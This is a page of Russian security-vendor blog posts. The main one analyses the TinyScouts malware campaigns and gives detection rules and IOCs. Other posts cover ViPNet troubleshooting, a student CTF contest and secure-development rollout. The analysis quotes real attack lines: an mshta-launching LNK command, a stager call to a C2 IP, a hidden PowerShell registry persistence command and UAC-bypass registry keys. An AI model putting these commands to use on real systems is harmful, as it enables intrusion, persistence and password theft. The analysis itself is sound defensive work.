Тему блокировок продолжаем событием номер 4 IP packet timeout. Тут все банально: это событие возникает при расхождении абсолютного (без учета часовых поясов) времени между узлами сети ViPNet (координаторы и ViPNet-клиенты). На координаторах HW максимальная разница составляет 7200 секунд и задается в параметре timediff конфигурационного файла IPlir. Я не рассматриваю в этой статье координаторы HW-KB, но стоит отметить, что в версии KB2 timediff по умолчанию 7 секунд, а в KB4 50 секунд, и событие там может генерироваться не 4, а 112, что, возможно, собьет с толку инженера, привыкшего к обычным HW.

Нешифрованный трафик вместо зашифрованного

Новичкам бывает сложно понять природу 22 события Non-encrypted IP Packet from network node в журнале IP-пакетов. Оно означает, что координатор ждал с этого IP-адреса шифрованный трафик, а пришел нешифрованный. Чаще всего это происходит так:

1) пользователь забыл залогиниться в ViPNet-клиент, или случайно разлогинился, но при этом пытается попасть на защищаемые ресурсы. В этом случае драйвер IPlir неактивен, а трафик, который по маршрутизации дошел до координатора, не был зашифрован на АРМ пользователя. По заголовкам пакета координатор видит, что все легально: адрес источника принадлежит АРМ с ViPNet-клиентом, адрес назначения защищенному или туннелируемому узлу. Значит, и трафик должен приходить зашифрованным, но это не так, поэтому его надо заблокировать. Частным случаем данного сценария является ситуация, когда в сети поменялись адреса, и на том адресе, на котором был защищенный ViPNet-клиент, АРМ оказался туннелируемый. Но координатор все еще считает, что на этом адресе есть ViPNet-клиент, и поэтому нешифрованный трафик блокируется;

2) с одной стороны взаимодействия отсутствуют связи. Например, вы связали два координатора, а справочники и ключи отправили только на один (или до второго они не дошли). В этом случае первый будет ждать зашифрованный трафик, но второй, так как не знает о существовании первого, будет присылать только незашифрованный;

3) туннели прописываются вручную локально на КШ. Чтобы смоделировать такой сценарий, нужно два связанных координатора. На одном прописываем собственные туннели и туннели соседа, на втором забываем это сделать. При такой настройке трафик, исходящий от туннелей второго координатора к туннелям первого, шифроваться не будет, и на первом координаторе возникнет 22 событие.

Обработка прикладных протоколов (ALG)

На многих межсетевых экранах, включая ViPNet Coordinator, могут возникать проблемы с прохождением SIP через NAT. С учетом того, что виртуальные адреса это внутренний NAT, проблема может возникать, даже когда в явном виде NAT не используется, а используются только виртуальные адреса. Координатор обладает модулем обработки прикладных протоколов (ALG), который должен эти проблемы решать, но не всегда это работает так, как хотелось бы. Не буду останавливаться на механизме работы ALG (на эту тему можно написать отдельную статью), принцип одинаков на всех МСЭ, изменяются лишь заголовки прикладного уровня. Для корректной работы протокола SIP через координатор необходимо знать следующее:

при использовании NAT должен быть включен ALG;
при использовании виртуальной адресации ALG должен быть включен на обоих узлах, участвующих во взаимодействии (координатор-координатор, координатор-клиент), даже если виртуальная видимость установлена только с одной стороны;
при использовании реальной видимости и отсутствии NAT необходимо выключить ALG для того, чтобы он не вмешивался в работу SIP;
ALG-линейки 3.х и 4.х несовместимы (строго говоря, в линейке 3.х вообще не было возможности как-то им управлять). В таком сценарии гарантировать корректную работу SIP вендор не может.

Управляется модуль командами группы alg module из привилегированного режима (enable).

В заключение

Я постарался рассмотреть самые злободневные проблемы, обозначить их корни и рассказать о решениях. Конечно, это далеко не все особенности ViPNet, поэтому рекомендую не стесняться обращаться в поддержку и спрашивать совета в коммьюнити (на форуме вендора, в телеграмм-канале, в комментариях под этим постом). А если вам не хочется погружаться во все сложности работы с ViPNet или это слишком трудозатратно, то всегда можно отдать управление вашей ViPNet-сетью в руки профессионалов.

Автор: Игорь Виноходов, инженер 2-ой линии администрирования Ростелеком-Солар

Подробнее..

Категории: Информационная безопасность , Vpn , Шифрование , Блог компании ростелеком-солар , Vipnet

Чуть сложнее, чем кажется как атакует группировка TinyScouts

17.08.2020 22:18:10 |

Автор: admin

Какое-то время назад мы начали фиксировать попытки заражения инфраструктур наших заказчиков ранее не известным вредоносным ПО. Оно доставлялось пользователям через фишинговые рассылки, иногда посвященные второй волне коронавируса, а иногда четко заточенные под атакуемую организацию и связанные с ее деятельностью. Злоумышленники выдавали себя за различные существующие компании, например, Норильский Никель, Российский союз промышленников и предпринимателей, Финаудитсервис и т.д.

Примечательными были два аспекта деятельности группировки: во-первых, высокий уровень технических навыков злоумышленников, а во-вторых вариабельность сценария атаки. Если ты как жертва не интересен украдут пароли и зашифруют данные, а вот если твоя машина в интересном домене и имеет потенциал для более интересного развития атаки загрузят Remote Admin Tool (RAT), написанный на PowerShell. Мы назвали группировку TinyScouts по именам функций из вредоносного кода. В статье мы расскажем о двух ее последних кампаниях, которые условно можно разделить по месяцам июль и август 2020 года, и сделаем полный разбор инструментов и сценариев TinyScouts.

Июльская кампания. Direct download

В июле вредонос распространялся в виде lnk-файла, который выполнял следующую команду:

%comspec% /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_А^ктСве^рки.z^ip\!a!)

В результате запуска mshta.exe происходило выполнение обфусцированного JS-скрипта. Его задача извлечь из тела lnk-файла документ для отвлечения внимания, открыть его через rundll32.exe и запустить обфусцированную команду PowerShell. Фрагмент скрипта после деобфускации приведен ниже:

Скрипт в переменной toexecute загружает и запускает еще один обфусцированный PowerShell-скрипт c именем Decide (запрос к decide.php). Пример обфускации ниже:

Задача данного скрипта проверить компьютер на соответствие некоторым параметрам и скачать следующую нагрузку с серверов. Фрагмент деобфусцированного кода приведен ниже:

Проверяется наличие TeamViewer, RDP сессий и факт вхождения в домен для того, чтобы определить, какую нагрузку необходимо скачать. В случае интересной системы загружается RAT, иначе шифровальщик. В обоих случаях это обфусцированные в несколько слоев скрипты.

Августовская кампания (продолжается). Tor Hidden Services

В начале августа схема распространения изменилась: теперь в письмах была ссылка на скачивание sfx-архива, который содержит 4 файла:

document.doc. Документ, который открывается для отвлечения внимания и не несет вредоносной нагрузки.
7za.exe. 7z- архиватор.
wget.exe. Оригинальная утилита wget.
service. JS-скрипт Stager 1

При запуске sfx-архива происходят следующие действия:

1) открывается document.doc
2) с помощью wget и 7z скачивается и распаковывается TOR и node.exe по следующим ссылкам:
www.torproject.org/dist/torbrowser/9.5.1/tor-win32-0.4.3.5.zip
nodejs.org/dist/latest-carbon/win-x86/node.exe
3) с помощью node.exe запускается скрипт Stager 1:
C:\Windows\System32\cmd.exe" /c if not exist hostname (node service 192.248[.]165.254)

Ниже представлен деобфусцированный скрипт Stager 1:

Скрипт service получает в качестве аргумента адрес сервера управления и при запуске создает TOR Hidden Service (http://personeltest.ru/aways/2019.www.torproject.org/docs/onion-services). Стоит отметить, что при запуске скрытого сервиса TOR генерируется его имя (оно схоже с именем обычного ресурса в сети TOR, например, vkss134jshs22yl3li2ul.onion). Далее скрипт отправляет сгенерированное имя Hidden Service злоумышленнику и поднимает локальный веб-сервер. В дальнейшем общение злоумышленника с зараженной системой происходит в режиме запрос/ответ к веб-серверу (строка 19 в коде), где в запросах передается код для выполнения, а в ответах результаты.

Такая архитектура позволяет злоумышленнику получить доступ к зараженной системе, даже если она находится за NAT (главное условие наличие интернета), и делает необязательным знание белого IP-адреса жертвы.

Первым запросом к поднятому web-серверу приходит скрипт Decider, задача которого заключается в определении факта вхождения компьютера в домен, а также получении имени пользователя. На этот раз проверки наличия TeamViewer и RDP отсутствуют:

После того как злоумышленнику будут отправлены результаты работы скрипта Decider, в сторону заражённой системы приходит веб-запрос, содержащий либо шифровальщик, либо RAT в зависимости от интереса злоумышленника.

Общие модули в обеих кампаниях

Скрипт Stager 3

Основной скрипт содержит в себе 5 компонентов, закодированных в base64:
шифровальщик Encryptor
файл Readme с сообщением от злоумышленников
утилита WebBrowserPassView
утилита Mail PassView
Injector. Исполняемый файл, используемый для инжектирования WebBrowserPassView и Mail PassView в процесс svchost. Инжектирование выполняется обычным методом RunPE.

Функции скрипта Stager 3:

1) Запуск шифровальщика (функция Get-Stuff)
Ниже приведен фрагмент кода скрипта с запуском шифровальщика:

2) Обход UAC (для удаления теневых копий)
В коде присутствуют три техники: с помощью csmtp.exe, CompMgmtLauncher.exe и fodhelper.exe. Почитать про них можно здесь, здесь и здесь.

3) Удаление теневых копий

4) Запуск WebBrowserPassView и Mail PassView
Это утилиты от Nirsoft для извлечения паролей из браузеров и почтовых клиентов соответственно.

5) Отправка на сервер управления отчетов вышеупомянутых утилит.
Перед отправкой отчеты шифруются алгоритмом RC4 со сгенерированным ключом (4 символа):

Сам ключ помещается в начало сообщения:

Шифровальщик Encryptor

Сообщение readme выглядит следующим образом:

Шифровальщик представляет собой исполняемый файл .NET без какой-либо обфускации. Файлы шифруются алгоритмом AES. Для каждого файла генерируется отдельный ключ и вектор инициализации, который затем шифруется с помощью публичного ключа RSA и помещается в зашифрованный файл. Главная функция шифровальщика приведена ниже:

RAT

Данный скрипт имеет несколько слоев обфускации. После расшифрования может выполнять следующие команды:
delete самоудаление
exec выполнение команды PowerShell
download загрузка файла
set_wait_time изменить частоту запроса команд
update_tiny обновление RAT
run_module выполнить блок PowerShell-команд
add_persist_module добавить в систему модуль PowerShell, который будет выполняться при каждом запуске RAT.
remote_persist_module удалить модуль из списка автозагрузки RAT.

Деобфусцированная функция обработки команд приведена ниже:

Способ закрепления

Для закрепления используются два ключа:

1) HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. В этот ключ помещается следующая команда (строка деобфусцирована):
cmd /c PowerShell -windowstyle hidden -nop -c iex (Get-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows -Name <client_id>

2) HKCU\SOFTWARE\Microsoft\Windows. Здесь хранится скрипт в значении с именем client_id. Таким образом, при запуске системы команда из Run ключа читает и запускает скрипт отсюда.
client_id строка формата AppX + base64(hostname+username+campaign_id)

Функция закрепления выглядит следующим образом:

Расшифрованный скрипт, который помещается в Run:

Стоит обратить внимание, что код вредоноса не хранится ни на диске, ни в реестре: каждый раз он загружается заново вышеуказанным скриптом.

Команда add_persist_module

RAT имеет возможность добавлять PowerShell-модули, которые будут запускаться при каждом запуске. Для этого используется отдельный ключ реестра, в котором хранятся идентификаторы модулей. Во время запуска этот ключ проверяется, и вредонос делает запрос на сервер, скачивая все модули по их идентификаторам.

При запуске вредоноса запускается функция Load-AllPersistModules для запуска всех добавленных модулей:

Код модулей тоже не хранится ни на диски, ни в реестре, как и основное тело RAT.

Взаимодействия с сервером

В код вшита константа CampaignID, которая используется при регистрации RAT при запуске (функция register-tiny) в качестве ключа шифрования. Алгоритм шифрования RC4. После отправки первичной информации о системе в ответе сервера содержится ключ шифрования, который будет использоваться в дальнейшем с тем же алгоритмом.

Технические аспекты обнаружения данных кампаний

Отвечая на вопрос, как детектировать то или иное, мы стараемся разделять все правила на две большие группы:
детект общесистемных аномалий,
детект аномалий под конкретную компанию/семейство/инструмент.

Детект общесистемных аномалий

Взаимодействие с промежуточными серверами и СnС:
В июльской кампании в части обнаружения и блокировки данной активности достаточно внести IP-адреса и доменные имена в списки блокировок, при этом не забыв поставить на мониторинг попытки обращения к ним.

В августовский компании с аспектом сетевого обнаружения стало сложнее, и тут стоит обратить внимание вот на что:

Мы по-прежнему можем заблокировать и вынести часть IP-адресов и доменных имен на мониторинг;
Наличие сетевой активности через TOR заставляет нас хранить и динамически обновлять списки IP-адресов, участвующих в построении этой сети. И тут для нас детектирующим правилом может быть обращение к IP-адресу из сети TOR;
В классическом варианте, если веб-сервер стоит внутри инфраструктуры (у нас в случае с Stager 1 именно так), с точки зрения правил межсетевого экранирования SYN-флаг TCP-сессии приходит снаружи. В случае с TOR Hidden Service это не так. Там в игру вступают так называемые rendezvous point места встречи (по указанной выше ссылке есть все подробности) благодаря которым SYN-флаг TCP-сессии приходит изнутри, и простая блокировка входящих соединений не сработает.

Для обеих кампаний будет достаточно неплохо работать набор из IDS-правил, которые направлены на обнаружение используемых специфичных методов PowerShell или их Base64 преобразованного вида.

Запуск кода на конечной системе
В качестве источника событий могут выступать два источника Windows Audit и Sysmon.

Журнал PowerShell Script Block Logging

Журнал, в который попадают записи о запускаемых PowerShell-скриптах. Расположен по следующему пути: Appilication and Sevices Logs > Microsoft > Windows > Powershell > Operational.

Правила детекта, направленные на обнаружение используемых специфичных методов PowerShell, хорошо справятся с задачей обнаружения активности данных кампаний.

Журнал Security (или Sysmon)

Запуски процессов 4648 (1)

Для детектирования данной активности необходимы классические правила по детектированию аномалий в отношении процессов отец-> ребенок. Данные связки хорошо отслеживаются в процессе запуска на хосте: сmd->mshta, cmd->powershell, mshta->powershell, rar->rundll32, node->wmic

Также может помочь правило по отслеживанию подозрительных параметров запуска процессов: powershell -e base64

Сетевое соединение процессов 5156 (3)

Правило по детектированию сетевого соединения от процесса PowerShell на белые IP-адреса должно помочь обнаружить данную активность.

Также при августовской кампании хорошо помогут правила по детектированию внутреннего проксирования траффика на 127.0.0.1 (именно это делает TOR и local web server).

Запись в реестр 4657 (13)

RAT, написанный на PowerShell сохраняет присутствие через распространенную ветку реестра HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, а значит, правило для мониторинга записи по этому пути наш вариант.

Детект попыток обхода технологии UAC: изменения в следующих ветках реестра HKCU\Software\Classes\mscfile\shell\open\command, HKCU\Software\Classes\ms-settings\shell\open\command, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\Calibration

Детект аномалий под конкретную компанию/семейство/инструмент

Запуск кода на конечной системе

Запуски процессов 4648 (1)

Тут необходимо правило по отслеживанию подозрительных параметров запуска процессов: C:\Windows\System32\cmd.exe" /c if not exist hostname (node service )
Запись в реестр 4657 (13)

RAT, написанный на PowerShell, также сохраняет присутствие через ветку реестра HKCU\SOFTWARE\Microsoft\Windows, а значит, для обнаружения нам необходимо отслеживать запись значения client_id по этому пути.

Индикаторы компрометации:

a9a282a11a97669d96cce3feaeaaa13051d51880
8b20babe972f580f1b8f4aca4f7724f7866a595a
ba7b1f2a9feb6b5b0ebc15620b38f8311a67c017
2c687d52cc76990c08ec8638399f912df8fb72de
c19b68e4b1cb251db194e3c0b922e027f9040be3
a2d4b0914d164f2088130bee3cdcf4e5f4765c38
18a28811dbbcc97757091ddb3e3ab6982b0bbfc9
192.248.165[.]254
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_launch.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_fin.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/web/index.php?r=bag
https[://]hello.tyvbxdobr0.workers[.]dev
https[://]curly-sound-d93e.ygrhxogxiogc.workers[.]dev
https[://]old-mud-23cb.tkbizulvc.workers[.]dev
https[://]odd-thunder-c853.tkbizulvc.workers.dev/
http[://]45.61.138[.]170

Авторы поста:
Игорь Залевский, руководитель отдела расследования киберинцидентов JSOC CERT
Аскер Джамирзе, эксперт по техническому расследованию отдела JSOC CERT

Подробнее..

Категории: Информационная безопасность , Security , Powershell , Malware , Блог компании ростелеком-солар , Tor , Ransomware , Rat , Trojan

Реверс-инжиниринг программ, поиск веб-уязвимостей и две недели в Сочи чего ждать студентам от Кибервызова

20.08.2020 16:15:21 |

Автор: admin

В 70-х годах для взлома телефонных сетей использовался обыкновенный свисток, в 90-х Адриан Ламо взламывал банки через интернет, используя только возможности браузера. Мир кибербезопасности не стоит на месте, постоянно усложняется и остаётся одной из самых интересных и захватывающих сфер в IT. Специально для тех, кому она интересна уже в институте, Ростелеком и Ростелеком-Солар уже второй год подряд дают возможность проверить свои силы в индивидуальных соревнованиях Кибервызов. Итак, под катом о том, как будут проходить эти соревнования, примеры заданий и рассказы победителей прошлого года о том, что оказалось самым сложным и как они съездили в НТУ Сириус на углублённый курс по информационной безопасности.

Что надо будет взломать?

Ничего, но всё равно будет интересно. Кибервызов проходит онлайн в два этапа. Основное веселье будет в начале: участникам необходимо в течение двух суток решать задачи по криптографии, поиску и эксплуатации бинарных уязвимостей, расследованию инцидентов, программированию и веб-безопасности. А для драйва на сайте будет табло с результатами в режиме реального времени.

Задачи делятся на шесть категорий:

Crypto криптографическая защита информации;
PWN поиск и эксплуатация реальных уязвимостей;
PPC программирование подсистем безопасности (professional programming and coding);
Reverse обратная разработка и исследование программ;
WEB обнаружение веб-уязвимостей;
Forensic расследование инцидентов в IT-сфере.

Категория состоит из 26 заданий, в каждом из которых нужно отправить флаг кодовый набор символов и получить за него баллы. Все флаги соревнования имеют одинаковый формат: CC{[\x20-\x7A]+}. Пример: CC{w0w_y0u_f0und_7h3_fl46}. Флаг используется в качестве секретной информации, которую нужно извлечь, находя уязвимости в анализируемых сервисах или исследуя предоставленный файл. Отправленные флаги проверяются автоматически, и результаты выполнения можно увидеть в режиме реального времени на табло.

После первого этапа 70 человек, набравших наибольшее количество баллов, попадут на скайп-интервью со специалистами Ростелеком-Солар, где они проверят знания и раздадут приглашения на образовательную программу по кибербезопасности банковской сферы в НТУ Сириус.

Качать Kali Linux и WireShark?

Не только. Например, в категории Web участникам был предложен сервис, в котором нужно было повысить привилегии пользователя за счёт эксплуатации web-уязвимости. В другом задании из категории Crypto необходимо было расшифровать сообщение, секретный ключ к которому неизвестен.

В каждом задании мы старались дать рекомендации и избавить участников от очевидно неудачных решений. Например, не использовать сканеры портов там, где это заранее бесполезно. А заодно подготовили список утилит, которые могут пригодиться:

в категории Crypto: Cryptool, Sage, xortool, John the Ripper;
в категории PWN: поиск и эксплуатация реальных уязвимостей OpenStego, Steghide, GIMP, Audacity;
в категории PPC: Python, Sublime Text, Notepad++, Vim, Emacs;
в категории Reverse: GDB, IDA Pro, OllyDbg, Hopper, dex2jar, uncompyle6;
в категории Web: WireShark, tcpdump, netcat, nmap, Burp Suite;
в категории Forensic: binwalk, ExifTool, Volatility.

Все задачи прошлого года можно посмотреть по ссылке. Они создавались на основе реальных угроз и уязвимостей, с которыми сталкиваются специалисты по информационной безопасности. Для тех, кто успешно пройдёт оба этапа, мы вместе с Банком России подготовили двухнедельный курс по кибербезопасности в банковской сфере.

И что, будет интересно?

Мы пинганули победителей прошлого года, и они вернули TRUE, а заодно скинули лог того, что было на прошлом Кибервызове.

Василий Брит: Летом, после окончания первого курса университета, я играл с друзьями в Dota2, и тут мне в чат кинули ссылку о Кибервызове". В CTF я прежде не принимал участия и не верил, что реально можно выиграть приз. Я решил доказать себе и всем остальным, что нельзя просто так взять и поехать в Сочи".
Я решил задачи из категории Crypto, Web, Forensic и PPC. Самой сложной категорией был Reverse. Его почти никто не решил, потому что задания были составлены профессионалами и времени на них не хватило. Для решения Web помогли фазеры honggfuzz и wfuzz, а также клавиша F12. Задачи Crypto решались с помощью xortool и cyberchief. На самом деле утилиты были указаны в заданиях и можно было не тратить время на поиск подходящих инструментов. Самым крутым оказалось задание по Forensic был дан дамп оперативной памяти и требовалось узнать, что было открыто в браузере, на рабочем столе, и достать все данные.
Поездка в Сочи стоила тех бешеных 24 часов с решением заданий преподаватели Сириуса две недели рассказывали про информационную безопасность, начиная от Web и заканчивая бинарными уязвимостями с инструментами для их поиска. Рассказали про всё очень лаконично, с практикой и примерами. В этом году определённо буду участвовать.

Дмитрий Зотов: Я в CTF играю не впервые, и задания Кибервызова" показались мне очень интересными, но достаточно сложными. Очень понравились задания из категории Web и Reverse, хоть я его и не решил. Благодаря динамическому скорингу можно было видеть в процессе соревнований, кто и какие задания решил. Чем больше людей решали задание, тем меньше за него давали баллов, но ты мог отследить это и выбрать более сложные задания. Так у меня сложилось с одним из заданий категории Web кроме меня его решила только пара человек. Для решения Web чаще всего самый полезный инструмент консоль разработчика в Chrome ну и самые простые консольные утилиты: curl, wget и python. Но самым классным оказалось задание из категории Reverse были даны службы Windows, где с первого взгляда было совершенно ничего не понятно. Я не смог оставить его даже после окончания соревнования и дорешал уже после.
В Сириусе нам давали тонны полезной информации по кибербезопасности, начиная от различных стандартов в этой области и заканчивая тем, как действует малварь в Windows и на что смотреть, чтобы её обнаружить. Я познакомился с классными людьми и отлично отдохнул, обязательно попробую свои силы в этом году и всем советую.

Роман Никитин: Я регулярно участвую в соревнованиях CTF, и в Кибервызове" для меня было много полезных и новых задач, с которыми прежде я не сталкивался. По моему мнению, самые интересные задания были в категориях Reverse, Forensic и Web. В Web нужно было найти уязвимость XXE, и это была одна из самых дорогих" задач по динамической разбалловке. Самой сложной категорией стал Reverse: уровень заданий был сильно выше, чем в остальных категориях, это было неожиданно и времени не хватило. Но самым крутым во всём соревновании был, разумеется, приз в виде поездки в Сириус", обязательно буду бороться за него и в этом году.

Ок, а где подробности?

~~На сервере Пентагона.~~ У нас на сайте. Смотри задачи прошлого года и готовься к новой теме безопасности финансовой сферы. Зарегистрироваться в Кибервызове могут студенты 26-го курсов бакалавриата, магистратуры, специалитета всех городов России до 28 августа по ссылке. Удачи, %username%!

Подробнее..

Категории: Информационная безопасность , Ctf , Хакатоны , Обучение , Кибербезопасность , Блог компании ростелеком , Ростелеком , Блог компании ростелеком-солар , Кибервызов

Строим безопасную разработку в ритейлере. Опыт одного большого проекта

17.09.2020 10:15:44 |

Автор: admin

Некоторое время назад мы закончили строить процесс безопасной разработки на базе нашего анализатора кода приложений в одной из крупнейших российских ритейловых компаний. Не скроем, этот опыт был трудным, долгим и дал мощнейший рывок для развития как самого инструмента, так и компетенций нашей команды разработки по реализации таких проектов. Хотим поделиться с вами этим опытом в серии статей о том, как это происходило на практике, на какие грабли мы наступали, как выходили из положения, что это дало заказчику и нам на выходе. В общем, расскажем о самом мясе внедрения. Сегодня речь пойдет о безопасной разработке порталов и мобильных приложений ритейлера.

Для начала в целом про проект. Мы выстроили процесс безопасной разработки в крупной торговой компании, в которой ИТ-подразделение имеет огромный штат сотрудников и разделено на множество направлений, минимально коррелирующих между собой. Условно эти направления можно разделить на 3 основные группы. Первая, очень большая группа, это кассовое ПО, которое написано преимущественно на языке Java (90% проектов). Вторая, самая обширная с точки зрения объема кода группа систем это SAP-приложения. И наконец, третий блок представлял собой сборную солянку из порталов и мобильных приложений: разного рода внешние сайты для клиентов компании, мобильные приложения к этим сайтам, а также внутренние ресурсы мобильные приложения и веб-порталы для персонала ритейлера.

Общую задачу заказчик проекта департамент ИБ сформулировал достаточно стандартным образом для всех трех групп: мы хотим на выходе иметь меньше уязвимостей и безопасную разработку всех систем, создаваемых внутри компании. Но на практике в каждом конкретном подразделении все выглядело совсем иначе, чем у других коллег, потому что на каждом шаге внедрения безопасной разработки нам приходилось идти на миллион разных компромиссов. Одни нюансы помогали выстроить процесс, а другие, наоборот, мешали. В итоге нам все же удалось создать более-менее общий подход для большинства проектов.

Этот подход мы сформулировали максимально просто: сканируется наиболее актуальный для всех разработчиков код. Если говорить в терминах Gitflow, а все группы проектов, за исключением SAP, вели ветки разработки в Gitflow, сканируется основная ветка разработки по расписанию.

Но, как всегда, из любого правила бывают исключения: общий подход не везде мог быть применен as is по ряду причин. Во-первых, наш инструмент (анализатор кода) имеет несколько ограничений, обусловленных тем, что мы хотим иметь возможность при необходимости делать наиболее глубокий анализ некоторых языков программирования. Так, в случае с Java анализ по байткоду гораздо более глубокий, чем по исходному коду. Соответственно, для сканирования Java-проектов требовалась предварительная сборка байткода и лишь затем его отправка на анализ. В случае с C++, Objective C и приложениями для iOS анализатор встраивался в процесс на этапе сборки. Также мы должны были учесть различные индивидуальные требования со стороны разработчиков всех проектов. Ниже расскажем, как мы выстроили процесс для порталов и мобильных приложений.

Порталы и мобильные приложения

Вроде бы все эти приложения объединены в одну логическую группу, но на самом деле в них была жуткая каша. Одних порталов было больше 120-ти (!). Компания очень большая, со множеством бизнес, административных и технических подразделений, и периодически каждое из них решает, что ему нужен свой портал и мобильное приложение. Этот портал и приложение создаются, ими какое-то время пользуются, а потом благополучно забрасывают. В результате на начальном этапе нам пришлось провести для заказчика инвентаризацию, поскольку даже разработчики этих приложений не имели единого списка кодовых баз. Например, для управления репозиториями в этой группе разработчики использовали два GitLab, администраторами которых являлись разные люди. Кроме того, среди порталов и мобильных приложений существенная часть проектов была реализована с помощью внешней разработки. Поэтому, когда подходило время релиза, зачастую подрядчики передавали компании исходные коды новой версии чуть ли не на флешке. В итоге компания имела зоопарк различных приложений и полный беспорядок в их коде. Нам пришлось составить список всех проектов, найти всех ответственных за них техвладельцев, тимлидов, а затем согласовать с основным заказчиком департаментом ИБ, какие из них мы будем анализировать.

В итоге мы выбрали для анализа продакшн-системы и софт, находящийся в поддержке, архивные системы не трогали вообще. Ряд внутренних приложений считались некритичными, так как они не могли нанести компании какой-либо финансовый ущерб, и для анализа выбраны не были. Например, система управления упаковщиками внутри одного склада или грузчиками. Ничего уязвимого для внешних клиентов компании в них нет, и их взлом кем-то из внутренних сотрудников лишь доставит ряду подразделений мелкие внутренние неудобства.

Приоритетной задачей для этой группы ПО ИБ-служба сформулировала внедрение анализа кода на уязвимости, а разработчики выстроить удобный для них процесс проверок, интегрированный в циклы разработки.

Интеграция по стандартной схеме

В качестве системы контроля версий в группе порталов и мобильных приложений использовался GitLab двух разных версий.

Настройка интеграции с GitLab

Далеко не во всех приложениях применялась CI/CD, и там, где ее не было, нам приходилось настаивать на ее применении. Потому что если вы хотите по-настоящему автоматизировать процесс проверки кода на уязвимости (а не просто в ручном режиме загружать ссылку на анализ), чтобы система сама скачивала ее в репозиторий и сама выдавала результаты нужным специалистам, то без установки раннеров вам не обойтись. Раннеры в данном случае это агенты, которые в автоматическом режиме связываются с системами контроля версий, скачивают исходный код и отправляют в Solar appScreener на анализ.

Разработчики группы порталов и мобильных приложений хотели организовать безопасную разработку как полуавтоматизированный процесс, чтобы код сканировался на уязвимости без какого-либо участия с их стороны. Чтобы офицер безопасности верифицировал результаты анализа на уязвимости и ставил разработчикам задачи в Jira, если считал уязвимости критичными, или же отправлял их разработчикам для получения разъяснений. Разработчики решали бы, нужно ли срочно исправлять уязвимость или нет. И если нужно, планировали бы, в какой релиз смогут включить исправления.

В качестве баг-трэкера в основном использовалась Jira, в которую анализатор кода автоматически поставлял информацию о найденных уязвимостях.

Настройка интеграции с Jira

В редких случаях тим-лиды сами смотрели результаты сканирования и заводили задачи в Jira вручную.

Создание задачи в Jira

Такие случаи мы тоже прописали в регламенте как отдельную особенность. В некоторых проектах вообще все исправления обсуждались в Slack или в Telegram, а задачи ставились в режиме реального времени.

В итоге процесс безопасной разработки после внедрения Solar appScreener стал выглядеть так: порталы ежедневно проверяются на наличие изменений в коде основной ветки разработки. Если основная, наиболее актуальная ветка не обновлялась в течение суток, то ничего не происходит. Если же она обновилась, то запускается отправка этой ветки на анализ в соответствующий проект для этого репозитория. Репозиторию в GitLab соответствовал определенный проект в анализаторе кода, и именно в нем сканировалась основная ветка. После этого офицер безопасности просматривал результаты анализа, верифицировал их и заводил задачи на исправления в Jira.

Результаты анализа и созданные в Jira задачи на исправление уязвимостей

Начинали исправлять уязвимости, как правило, с критических, от которых нужно было избавляться срочно. Когда такие уязвимости заканчивались, команда переходила к исправлению новых обнаруженных в коде ошибок. А уже на третьем этапе, например, в рамках закрытия какого-либо технического долга, ликвидировали и старые оставшиеся уязвимости.

Нестандартное в стандартном

В этом, на первый взгляд, не таком уж и сложном процессе имелось два серьезных ограничения. Во-первых, для анализа Android-приложений (то есть написанных на Java) нам нужна была сборка. А во-вторых, для iOS нужны были машины с MacOS, на которых устанавливался бы наш агент и имелась бы среда, которая позволяла бы собирать приложения. С Android-приложениями мы разобрались довольно просто: написали свои части в уже имеющиеся у разработчиков скрипты, которые запускались так же по расписанию. Наши части скриптов предварительно запускали сборку проекта в наиболее широкой конфигурации, которая направлялась в Solar appScreener на анализ. Для проверки же iOS-приложений мы устанавливали на Mac-машину наш MacOS-агент, который производил сборку кода и так же через GitLab CI отправлял код в анализатор на сканирование. Далее, как и в случае с другими видами ПО, офицер безопасности просматривал результаты анализа, верифицировал их и заводил задачи на исправления в Jira.

К порталам и мобильным приложениям мы также относили любые проекты, написанные на Java, их мы собирали и анализировали по аналогичной схеме.

В тех проектах, где не было CI/CD, что было обязательным для нас условием, мы просто говорили: Ребята, хотите анализировать собирайте в ручном режиме и загружайте в сканер сами. Если у вас нет Java или JVM-подобных языков Scala, Kotlin и прочих, то можете просто загружать код в репозиторий по ссылке, и все будет хорошо.

Сложности проекта

Как видно из вышесказанного, в этом стеке приложений основной проблемой было отсутствие во многих проектах CI/CD. Разработчики часто делали сборки вручную. Мы начали интеграцию нашего анализатора с порталов Sharepoint на языке C#. Сейчас C# более-менее перешел на Linux-системы, хотя и не совсем полноценные. А когда проект был в самом разгаре, этот язык еще работал на Windows, и нам приходилось ставить агент на Windows для GitLab. Это было настоящим испытанием, поскольку наши специалисты привыкли использовать Linux-команды. Необходимы были особенные решения, например, в каких-то случаях нужно было указывать полный путь до exe-файла, в каких-то нет, что-то надо было заэкранировать и т.п. И уже после реализации интеграции c Sharepoint команда проекта мобильного приложения на PHP сказала, что у них тоже нет раннера и они хотят использовать C#-овский. Пришлось повторять операции и для них.

Резюме

В результате, несмотря на столь гетерогенный парк технологий, команд и процессов, нам удалось сгруппировать основные случаи этого кейса в несколько пайплайнов, автоматизировать их исполнение, где уместно, и внедрить. На нашем примере мы смогли убедиться, что:

внедряемое нами решение достаточно взрослое, чтобы проявлять нужную гибкость для построения процессов DevSecOps в кардинально разных средах внедрения. Гибкость достигается за счёт большого набора встроенных и кастомных интеграций, без которых трудозатраты на внедрение возросли бы в разы или сделали бы его невозможным;
настройка нужной автоматизации и последующий разбор результатов не требуют необъятного количества трудозатрат даже при огромном скоупе работ. Согласование и построение внедряемых процессов и полная их автоматизация возможны усилиями небольшой экспертной группы из 3-4 человек;
внедрение средств автоматической проверки кода и практик DevSecOps позволяет выявить недостатки текущих процессов DevOps и становится поводом для их настройки, улучшения, унификации и регламентирования. В конечном счёте получается win-win ситуация для всех участников процесса от рядовых разработчиков до топ-менеджеров отделов инженерии и ИБ.

